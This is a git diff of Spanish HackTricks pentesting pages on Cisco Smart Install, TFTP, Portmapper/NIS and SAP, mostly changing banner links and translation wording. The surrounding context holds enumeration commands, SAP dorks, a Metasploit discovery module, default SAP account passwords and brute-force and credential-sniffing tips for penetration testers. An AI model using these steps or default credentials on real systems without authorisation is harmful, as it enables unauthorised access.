* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -28,7 +28,7 @@ PORT STATE SERVICE
|
|||
```
|
||||
## **Herramienta de Explotación de Smart Install**
|
||||
|
||||
**En 2018, se encontró una vulnerabilidad crítica, CVE-2018-0171, en este protocolo. El nivel de amenaza es de 9.8 en la escala CVSS.**
|
||||
**En 2018, se encontró una vulnerabilidad crítica, CVE-2018–0171, en este protocolo. El nivel de amenaza es de 9.8 en la escala CVSS.**
|
||||
|
||||
**Un paquete especialmente diseñado enviado al puerto TCP/4786, donde está activo el Cisco Smart Install, desencadena un desbordamiento de búfer, lo que permite a un atacante:**
|
||||
|
||||
|
@ -51,13 +51,13 @@ La configuración del switch **10.10.100.10** estará en la carpeta **tftp/**
|
|||
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
|
|
@ -4,15 +4,15 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -21,7 +21,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
**Protocolo de Transferencia de Archivos Triviales (TFTP)** es un protocolo sencillo utilizado en el **puerto UDP 69** que permite transferencias de archivos sin necesidad de autenticación. Destacado en **RFC 1350**, su simplicidad significa que carece de características clave de seguridad, lo que lleva a un uso limitado en Internet público. Sin embargo, **TFTP** se utiliza ampliamente dentro de redes internas grandes para distribuir archivos de configuración e imágenes de ROM a dispositivos como teléfonos **VoIP**, gracias a su eficiencia en estos escenarios específicos.
|
||||
|
||||
**TAREA**: Proporcionar información sobre qué es un rastreador de Bittorrent (Shodan identifica este puerto con ese nombre). Si tienes más información al respecto, háznoslo saber, por ejemplo en el [**grupo de telegram de HackTricks**](https://t.me/peass) (o en un problema de github en [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
**TAREA**: Proporcionar información sobre qué es un Bittorrent-tracker (Shodan identifica este puerto con ese nombre). Si tienes más información al respecto, háznoslo saber, por ejemplo en el [**grupo de telegram de HackTricks**](https://t.me/peass) (o en un problema de github en [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
|
||||
**Puerto Predeterminado:** 69/UDP
|
||||
```
|
||||
|
@ -49,23 +49,23 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `port:69`
|
||||
* `puerto: 69`
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -1,27 +1,27 @@
|
|||
# 111/TCP/UDP - Pruebas de penetración de Portmapper
|
||||
# 111/TCP/UDP - Pruebas de penetración del Portmapper
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Información Básica
|
||||
|
||||
**Portmapper** es un servicio que se utiliza para mapear los puertos de servicios de red a números de programa de **RPC** (Llamada a Procedimiento Remoto). Actúa como un componente crítico en los **sistemas basados en Unix**, facilitando el intercambio de información entre estos sistemas. El **puerto** asociado con **Portmapper** es escaneado con frecuencia por atacantes, ya que puede revelar información valiosa. Esta información incluye el tipo de **Sistema Operativo Unix (OS)** en ejecución y detalles sobre los servicios disponibles en el sistema. Además, **Portmapper** se utiliza comúnmente en conjunto con **NFS (Sistema de Archivos de Red)**, **NIS (Servicio de Información de Red)** y otros **servicios basados en RPC** para gestionar eficazmente los servicios de red.
|
||||
**Portmapper** es un servicio que se utiliza para mapear los puertos de servicios de red a números de programa **RPC** (Llamada a Procedimiento Remoto). Actúa como un componente crítico en los **sistemas basados en Unix**, facilitando el intercambio de información entre estos sistemas. El **puerto** asociado con **Portmapper** es escaneado con frecuencia por atacantes, ya que puede revelar información valiosa. Esta información incluye el tipo de **Sistema Operativo Unix (OS)** en ejecución y detalles sobre los servicios disponibles en el sistema. Además, **Portmapper** se utiliza comúnmente en conjunto con **NFS (Sistema de Archivos de Red)**, **NIS (Servicio de Información de Red)** y otros **servicios basados en RPC** para gestionar los servicios de red de manera efectiva.
|
||||
|
||||
**Puerto predeterminado:** 111/TCP/UDP, 32771 en Oracle Solaris
|
||||
```
|
||||
|
@ -33,6 +33,10 @@ PORT STATE SERVICE
|
|||
rpcinfo irked.htb
|
||||
nmap -sSUC -p111 192.168.10.1
|
||||
```
|
||||
A veces no te da ninguna información, en otras ocasiones obtendrás algo como esto:
|
||||
|
||||
.png>)
|
||||
|
||||
### Shodan
|
||||
|
||||
* `port:111 portmap`
|
||||
|
@ -43,11 +47,11 @@ Si encuentras el servicio NFS, probablemente podrás listar y descargar (y tal v
|
|||
|
||||
.png>)
|
||||
|
||||
Leer [2049 - Pentesting NFS service](nfs-service-pentesting.md) para aprender más sobre cómo probar este protocolo.
|
||||
Lee [2049 - Pentesting NFS service](nfs-service-pentesting.md) para aprender más sobre cómo probar este protocolo.
|
||||
|
||||
## NIS
|
||||
|
||||
Explorar las vulnerabilidades de **NIS** implica un proceso de dos pasos, comenzando con la identificación del servicio `ypbind`. La piedra angular de esta exploración es descubrir el **nombre de dominio de NIS**, sin el cual el progreso se detiene.
|
||||
Explorar las vulnerabilidades de **NIS** implica un proceso de dos pasos, comenzando con la identificación del servicio `ypbind`. La piedra angular de esta exploración es descubrir el **nombre de dominio NIS**, sin el cual el progreso se detiene.
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -77,11 +81,11 @@ Si encuentras el servicio **rusersd** listado de esta manera:
|
|||
|
||||
.png>)
|
||||
|
||||
Podrías enumerar usuarios del sistema. Para aprender cómo hacerlo, lee [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md).
|
||||
Podrías enumerar usuarios de la máquina. Para aprender cómo hacerlo, lee [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md).
|
||||
|
||||
## Saltar el puerto del Portmapper filtrado
|
||||
|
||||
Al realizar un escaneo con **nmap** y descubrir puertos NFS abiertos con el puerto 111 filtrado, la explotación directa de estos puertos no es factible. Sin embargo, al **simular un servicio de portmapper localmente y crear un túnel desde tu máquina** hasta el objetivo, la explotación se vuelve posible utilizando herramientas estándar. Esta técnica permite saltar el estado filtrado del puerto 111, lo que habilita el acceso a los servicios NFS. Para obtener orientación detallada sobre este método, consulta el artículo disponible en [este enlace](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||
Al realizar un **escaneo nmap** y descubrir puertos NFS abiertos con el puerto 111 filtrado, la explotación directa de estos puertos no es factible. Sin embargo, al **simular un servicio portmapper localmente y crear un túnel desde tu máquina** hasta el objetivo, la explotación se vuelve posible utilizando herramientas estándar. Esta técnica permite saltar el estado filtrado del puerto 111, lo que habilita el acceso a los servicios NFS. Para obtener orientación detallada sobre este método, consulta el artículo disponible en [este enlace](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -91,7 +95,7 @@ Al realizar un escaneo con **nmap** y descubrir puertos NFS abiertos con el puer
|
|||
|
||||
* Practica estas técnicas en la [**máquina HTB Irked**](https://app.hackthebox.com/machines/Irked).
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
|
|
@ -1,25 +1,25 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# Introducción sobre SAP
|
||||
|
||||
SAP significa Sistemas, Aplicaciones y Productos en Procesamiento de Datos. SAP, por definición, es también el nombre del software ERP \(Planificación de Recursos Empresariales\) así como el nombre de la empresa.
|
||||
SAP significa Sistemas, Aplicaciones y Productos en el Procesamiento de Datos. SAP, por definición, es también el nombre del software ERP \(Planificación de Recursos Empresariales\) así como el nombre de la empresa.
|
||||
El sistema SAP consta de varios módulos totalmente integrados, que cubren virtualmente todos los aspectos de la gestión empresarial.
|
||||
|
||||
Cada instancia SAP \(o SID\) está compuesta por tres capas: base de datos, aplicación y presentación\), cada paisaje generalmente consta de cuatro instancias: desarrollo, prueba, QA y producción.
|
||||
|
@ -30,14 +30,14 @@ Al ser creado inicialmente, este usuario SAP\* recibe una contraseña predetermi
|
|||
¡Te sorprendería saber cuántas veces estas **contraseñas no se cambian en entornos de prueba o desarrollo**!
|
||||
|
||||
Intenta obtener acceso al shell de cualquier servidor utilizando el nombre de usuario <SID>adm.
|
||||
El uso de fuerza bruta puede ayudar, sin embargo, puede haber un mecanismo de bloqueo de cuenta.
|
||||
El uso de fuerza bruta puede ayudar, sin embargo, puede existir un mecanismo de bloqueo de cuenta.
|
||||
|
||||
# Descubrimiento
|
||||
|
||||
> La siguiente sección es principalmente de [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) del usuario shipcod3!
|
||||
> La siguiente sección proviene principalmente de [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) del usuario shipcod3!
|
||||
|
||||
* Verifica el Alcance de la Aplicación o Resumen del Programa para realizar pruebas. Toma nota de los nombres de host o instancias del sistema para conectarte a SAP GUI.
|
||||
* Utiliza OSINT \(inteligencia de fuentes abiertas\), Shodan y Google Dorks para verificar archivos, subdominios e información jugosa si la aplicación está expuesta en Internet o es pública:
|
||||
* Utiliza OSINT \(inteligencia de fuentes abiertas\), Shodan y Google Dorks para verificar archivos, subdominios e información relevante si la aplicación está expuesta en Internet o es pública:
|
||||
```text
|
||||
inurl:50000/irj/portal
|
||||
inurl:IciEventService/IciEventConf
|
||||
|
@ -47,19 +47,19 @@ https://www.shodan.io/search?query=sap+portal
|
|||
https://www.shodan.io/search?query=SAP+Netweaver
|
||||
https://www.shodan.io/search?query=SAP+J2EE+Engine
|
||||
```
|
||||
* Así es como se ve [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
|
||||
* Aquí se muestra cómo se ve [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
|
||||
|
||||

|
||||
|
||||
* Utiliza nmap para verificar los puertos abiertos y los servicios conocidos \(routers de sap, webdynpro, servicios web, servidores web, etc.\)
|
||||
* Rastrea las URL si hay un servidor web en ejecución.
|
||||
* Utiliza nmap para verificar los puertos abiertos y los servicios conocidos \(routers sap, webdynpro, servicios web, servidores web, etc.\)
|
||||
* Explora las URL si hay un servidor web en ejecución.
|
||||
* Realiza fuzzing en los directorios \(puedes usar Burp Intruder\) si hay servidores web en ciertos puertos. Aquí tienes algunas buenas listas de palabras proporcionadas por el Proyecto SecLists para encontrar rutas SAP ICM predeterminadas y otros directorios o archivos interesantes:
|
||||
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
|
||||
|
||||
* Utiliza el módulo auxiliar de descubrimiento de servicios de SAP de Metasploit para enumerar instancias/servicios/componentes de SAP:
|
||||
* Utiliza el módulo auxiliar SAP SERVICE DISCOVERY de Metasploit para enumerar instancias/servicios/componentes de SAP:
|
||||
```text
|
||||
msf > use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > show options
|
||||
|
@ -76,7 +76,7 @@ rhosts => 192.168.96.101
|
|||
msf auxiliary(sap_service_discovery) > run
|
||||
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
|
||||
```
|
||||
## Probando el Cliente Grueso / SAP GUI
|
||||
## Probando el Cliente Pesado / SAP GUI
|
||||
|
||||
Aquí está el comando para conectarse a SAP GUI
|
||||
`sapgui <nombre del servidor SAP> <número de sistema>`
|
||||
|
@ -132,7 +132,7 @@ SAP*:Down1oad:000,001
|
|||
DEVELOPER:Down1oad:001
|
||||
BWDEVELOPER:Down1oad:001
|
||||
```
|
||||
* Ejecuta Wireshark y luego autentícate en el cliente (SAP GUI) usando las credenciales que obtuviste, ya que algunos clientes transmiten credenciales sin SSL. Hay dos plugins conocidos para Wireshark que pueden analizar los encabezados principales utilizados por el protocolo SAP DIAG: el plugin de análisis de SAP de SecureAuth Labs y el plugin SAP DIAG de Positive Research Center.
|
||||
* Ejecuta Wireshark y luego autentica al cliente (SAP GUI) usando las credenciales que obtuviste porque algunos clientes transmiten credenciales sin SSL. Hay dos plugins conocidos para Wireshark que pueden analizar los encabezados principales utilizados por el protocolo SAP DIAG también: el complemento de análisis SAP de SecureAuth Labs y el complemento SAP DIAG de Positive Research Center.
|
||||
* Verifica las escaladas de privilegios como el uso de algunos Códigos de Transacción SAP (tcodes) para usuarios de bajo privilegio:
|
||||
* SU01 - Para crear y mantener usuarios
|
||||
* SU01D - Para mostrar usuarios
|
||||
|
@ -150,11 +150,11 @@ BWDEVELOPER:Down1oad:001
|
|||
|
||||

|
||||
|
||||
* Busca vulnerabilidades web comunes (Consultar el OWASP Top 10) porque hay vulnerabilidades como XSS, RCE, XXE, etc. en algunos lugares.
|
||||
* Consulta la metodología de caza de bugs de Jason Haddix [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) para probar vulnerabilidades web.
|
||||
* Busca vulnerabilidades web comunes (Consultar el Top 10 de OWASP) porque hay vulnerabilidades como XSS, RCE, XXE, etc. en algunos lugares.
|
||||
* Consulta la metodología de Jason Haddix [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) para probar vulnerabilidades web.
|
||||
* ¿Bypass de autenticación a través de la manipulación de verbos? ¡Quizás! :)
|
||||
* Abre `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` luego presiona el botón "Choose" y después en la ventana abierta presiona "Search". Deberías poder ver una lista de usuarios SAP (Referencia de vulnerabilidad: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
|
||||
* ¿Se envían las credenciales a través de HTTP? Si es así, se considera como P3 según la Taxonomía de Calificación de Vulnerabilidades de Bugcrowd: Autenticación Rota y Gestión de Sesiones Débil | Función de Inicio de Sesión Débil sobre HTTP. Pista: Consulta también [http://SAP:50000/startPage](http://sap:50000/startPage) o los portales de inicio de sesión:
|
||||
* ¿Se envían las credenciales a través de HTTP? Si es así, se considera como P3 según la Taxonomía de Clasificación de Vulnerabilidades de Bugcrowd: Autenticación Rota y Gestión de Sesiones Débil | Función de Inicio de Sesión Débil sobre HTTP. Pista: Consulta también [http://SAP:50000/startPage](http://sap:50000/startPage) o los portales de inicio de sesión:
|
||||
|
||||

|
||||
|
||||
|
@ -286,9 +286,9 @@ bizploit/plugins> start
|
|||
bizploit/plugins> back
|
||||
bizploit> start
|
||||
```
|
||||
# Otras Herramientas Útiles para la Prueba
|
||||
# Otras Herramientas Útiles para Pruebas
|
||||
|
||||
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Herramienta de Powershell para evaluar la seguridad de SAP
|
||||
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Herramienta Powershell para evaluar la seguridad de SAP
|
||||
* [Burp Suite](https://portswigger.net/burp) - imprescindible para fuzzing de directorios y evaluaciones de seguridad web
|
||||
* [pysap](https://github.com/SecureAuthCorp/pysap) - Biblioteca de Python para crear paquetes de protocolo de red de SAP
|
||||
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Ayuda a nmap a detectar SAP/ERP
|
||||
|
@ -306,7 +306,7 @@ bizploit> start
|
|||
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
||||
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -317,8 +317,8 @@ bizploit> start
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@ Otras formas de apoyar a HackTricks:
|
|||
```bash
|
||||
curl https://www.drupal.org/ | grep 'content="Drupal'
|
||||
```
|
||||
